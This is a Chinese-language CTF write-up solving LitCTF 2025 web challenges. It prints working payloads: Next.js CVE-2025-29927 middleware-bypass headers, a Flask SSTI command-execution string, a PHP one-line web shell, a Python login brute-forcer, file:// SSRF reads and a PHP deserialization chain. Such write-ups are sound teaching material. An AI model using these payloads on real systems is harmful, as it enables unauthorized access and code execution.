LitCTF 2025 Web WP&复现
打Parloo杯线下的时候顺手搓了几题,感觉题目质量还是很不错的
多重宇宙日记
关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <script> document.getElementById('profileUpdateForm').addEventListener('submit', async function(event) { event.preventDefault(); const statusEl = document.getElementById('updateStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在更新...';
const formData = new FormData(event.target); const settingsPayload = {}; if (formData.get('theme')) settingsPayload.theme = formData.get('theme'); if (formData.get('language')) settingsPayload.language = formData.get('language');
try { const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ settings: settingsPayload }) }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败: ' + error.toString(); } });
async function sendRawJson() { const rawJson = document.getElementById('rawJsonSettings').value; const statusEl = document.getElementById('rawJsonStatus'); const currentSettingsEl = document.getElementById('currentSettings'); statusEl.textContent = '正在发送...'; try { const parsedJson = JSON.parse(rawJson); const response = await fetch('/api/profile/update', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(parsedJson) }); const result = await response.json(); if (response.ok) { statusEl.textContent = '成功: ' + result.message; currentSettingsEl.textContent = JSON.stringify(result.settings, null, 2); setTimeout(() => window.location.reload(), 1000); } else { statusEl.textContent = '错误: ' + result.message; } } catch (error) { statusEl.textContent = '请求失败或JSON无效: ' + error.toString(); } } </script>
|
提示键值在setting下,又需要管理员权限,所以payload:
1
| {"settings": {"isAdmin": true}}
|

nest_js
一开始我还以为是最近的漏洞呢(题目版本15.2.2),而且关键试了一下还真的打进去,但是与题目无关就是了
NVD - CVE-2025-29927
漏洞分析 | CVE-2025-29927:Next.js 中间件授权绕过-CSDN博客
Next.js 中间件鉴权绕过漏洞 (CVE-2025-29927) 复现利用与原理分析_cve-2025-29927复现-CSDN博客
CVE漏洞POC:
1 2 3
| x-middleware-subrequest:middleware:middleware:middleware:middleware:middleware
x-middleware-subrequest:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
|
二编:
预期解还真是这个CVE,那为啥上次没成功呢(?)
回归本题:
弱密码爆破
admin/password
星愿信箱

1
| 看见Flask和Python,可以尝试SSTI模板注入,输入{{7*7}}不行,可以尝试{%%}
|

发现成功回显49,证明存在SSTI
之后就正常SSTI:(过滤了cat)(nl也可以)
1
| {%print(g.pop.__globals__.__builtins__.__import__('so'[::-1]).popen('tac /*').read())%}
|

另解:
{%print(self.__dict__._TemplateReference__context.keys())%}
语句获取已经载入内存中的Flask内置函数
然后可以利用 lipsum
{%print(lipsum.__global__['os']['popen']('more /f*').read())%}
ez_file
主页有关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| const particlesContainer = document.getElementById('particles'); for (let i = 0; i < 30; i++) { const particle = document.createElement('div'); particle.className = 'particle'; particle.style.width = `${Math.random() * 20 + 5}px`; particle.style.height = particle.style.width; particle.style.left = `${Math.random() * 100}%`; particle.style.top = `${Math.random() * 100}%`; particle.style.animationDelay = `${Math.random() * 5}s`; particlesContainer.appendChild(particle); }
document.getElementById('loginForm').addEventListener('submit', function(e) { e.preventDefault(); const username = this.querySelector('input[name="username"]').value; const password = this.querySelector('input[name="password"]').value; const encoder = new TextEncoder(); const encode = str => btoa(String.fromCharCode(...encoder.encode(str))); this.querySelector('input[name="username"]').value = encode(username); this.querySelector('input[name="password"]').value = encode(password); this.submit(); });
|
发现可以file查看头像

正常上传发现报错有include(但这个上传的语法有点丑陋和错误,勿看())
然后拦截改成
1 2 3 4
| Content-Disposition: form-data; name="avatar"; filename="f1ag.jpg" Content-Type: application/octet-stream
<?= system($_REQUEST['cmd']);?>
|

easy_signin

扫描目录可以发现有login.html
登上去看看,可以看见JS源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <script> const loginBtn = document.getElementById('loginBtn'); const passwordInput = document.getElementById('password'); const errorTip = document.getElementById('errorTip'); const rawUsername = document.getElementById('username').value;
loginBtn.addEventListener('click', async () => { const rawPassword = passwordInput.value.trim(); if (!rawPassword) { errorTip.textContent = '请输入密码'; errorTip.classList.add('show'); passwordInput.focus(); return; }
const md5Username = CryptoJS.MD5(rawUsername).toString(); const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6); const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString();
const secretKey = 'easy_signin'; const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try { const response = await fetch('login.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Sign': sign }, body: new URLSearchParams({ username: md5Username, password: md5Password, timestamp: timestamp }) });
const result = await response.json(); if (result.code === 200) { alert('登录成功!'); window.location.href = 'dashboard.php'; } else { errorTip.textContent = result.msg; errorTip.classList.add('show'); passwordInput.value = ''; passwordInput.focus(); setTimeout(() => errorTip.classList.remove('show'), 3000); } } catch (error) { errorTip.textContent = '网络请求失败'; errorTip.classList.add('show'); setTimeout(() => errorTip.classList.remove('show'), 3000); } });
passwordInput.addEventListener('input', () => { errorTip.classList.remove('show'); }); </script>
|
这部分可以直接让AI跑个脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| import hashlib import time import requests
url = "http://node6.anna.nssctf.cn:23891/login.php" secret = "easy_signin"
username_md5 = "21232f297a57a5a743894a0e4a801fc3" short_user = username_md5[:6]
passwords = ["123456", "password", "admin", "admin123", "root"]
for pwd in passwords: pwd_md5 = hashlib.md5(pwd.encode()).hexdigest() short_pass = pwd_md5[:6] timestamp = str(int(time.time() * 1000)) sign_str = short_user + short_pass + timestamp + secret sign = hashlib.md5(sign_str.encode()).hexdigest() headers = {"X-Sign": sign} data = { "username": username_md5, "password": pwd_md5, "timestamp": timestamp } response = requests.post(url, headers=headers, data=data) if response.json().get("code") == 200: print(data) print(sign) print(f"Success! Password: {pwd}") break
|

可以得到弱密码admin/admin123(注意这边得到结果后要尽快使用,不然会过期需要重新生成)
1 2 3
| {'username': '21232f297a57a5a743894a0e4a801fc3', 'password': '0192023a7bbd73250516f069df18b500', 'timestamp': '1748427218398'} 5b99ff40da7ac00d71b3414bd4ee4eb6 Success! Password: admin123
|
随后直接抓包拦截然后放包

但是我这边放包后还没有回显也,那就只能换一种思路了,如果你们那边可以,请转:
LitCTF 2025 不知道 WP | 不知道のblog
那么我们换一种思路:

还是刚刚的地方,可以看到api.js,访问可得:

然后可以任意读一下文件:
http://node6.anna.nssctf.cn:23891/api/sys/urlcode.php?url=file:///var/www/html/api/sys/urlcode.php
可得到源码:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php error_reporting(0);
function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); }
$url = $_REQUEST['url']; if($url){
$forbidden_protocols = ['ftp://', 'php://', 'zlib://', 'data://', 'glob://', 'phar://', 'ssh2://', 'rar://', 'ogg://', 'expect://']; $protocol_block = false; foreach ($forbidden_protocols as $proto) { if (strpos($url, $proto) === 0) { $protocol_block = true; break; } } $log_block = strpos($url, '.log') !== false; if ($protocol_block) { echo "禁止访问:不允许使用 {$proto} 协议"; } elseif ($log_block) { echo "禁止访问:URL 包含 .log"; } elseif (strpos($url, 'login.php') !== false || strpos($url, 'dashboard.php') !== false || strpos($url, '327a6c4304ad5938eaf0efb6cc3e53dc.php') !== false) { echo "看不见哦"; } else { echo "<b>".$url." 的快照如下:</b><br><br>"; echo "<pre>"; curl($url); include($url); echo "</pre>"; } } ?>
|
我们直接访问可得

NSSCTF{9ada0482-8f33-4091-937c-1d4c46519468}
君の名は
Litctf2025-君の名はwp - Litsasuk - 博客园
进去直接源码看见反序列化:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); error_reporting(0); create_function("", 'die(`/readflag`);'); class Taki { private $musubi; private $magic; public function __unserialize(array $data) { $this->musubi = $data['musubi']; $this->magic = $data['magic']; return ($this->musubi)(); } public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); } }
class Mitsuha { private $memory; private $thread; public function __invoke() { return $this->memory.$this->thread; } }
class KatawareDoki { private $soul; private $kuchikamizake; private $name;
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; } }
$Litctf2025 = $_POST['Litctf2025']; if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){ unserialize($Litctf2025); }else{ echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆"; }
|
把O改成C这边可以这样
1 2 3 4
| ArrayObject::unserialize ArrayIterator::unserialize RecursiveArrayIterator::unserialize SplObjectStorage::unserialize
|
就是在最后
$b = array("PusTR"=>$c)
(创建一个关联数组,将对象 $c
放入数组中并赋予键名为 "PusTR"
。这个数组随后被用来创建一个 ArrayObject
对象 $b
,并被序列化输出,这里的键名随意,后面对象为前面反序列化对象)
$a = new ArrayObject($b);
回归源码:
先看开头的:
1
| create_function("", 'die(`/readflag`);');
|
创建了一个匿名函数然后执行/readflag,所以这里我们需要调用这个匿名函数就可以输出flag
而匿名函数名字可以直接输出:
1 2 3
| <?php $a = create_function("","die(` /readflag`);"); var_dump($a);
|

但是这边注意,每次刷新匿名函数的名字都会变,所以需要打开网站的第一次输入
知道了匿名函数的名字之后,我们还需要知道什么原生类可以调用匿名函数,又往下看:
1 2 3
| public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); }
|
这边只有函数名是可控的,就是说需要调用一个无参函数
而ReflectionFunction的invoke方法可以调用函数,且无参

(借用一下官方WP中的图)
再往下看:
1 2 3 4 5 6 7 8 9 10
| public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); }
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; }
|
这里的$func会被赋值为flag,然后$args中就是flag()括号里的值
分析完就很清晰了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| <?php class Taki { public $musubi; public $magic = "invoke"; }
class Mitsuha { public $memory; public $thread; }
class KatawareDoki { public $soul; public $kuchikamizake = "ReflectionFunction"; public $name = "\000lambda_1"; }
$a = new Taki(); $b = new Mitsuha(); $c = new KatawareDoki();
$a -> musubi = $b; $b -> thread = $c; $c -> soul = $a;
$d = array("PusTR"=>$a); $e = new ArrayObject($d);
echo urlencode(serialize($e));
?>
|

(建议重开环境再传)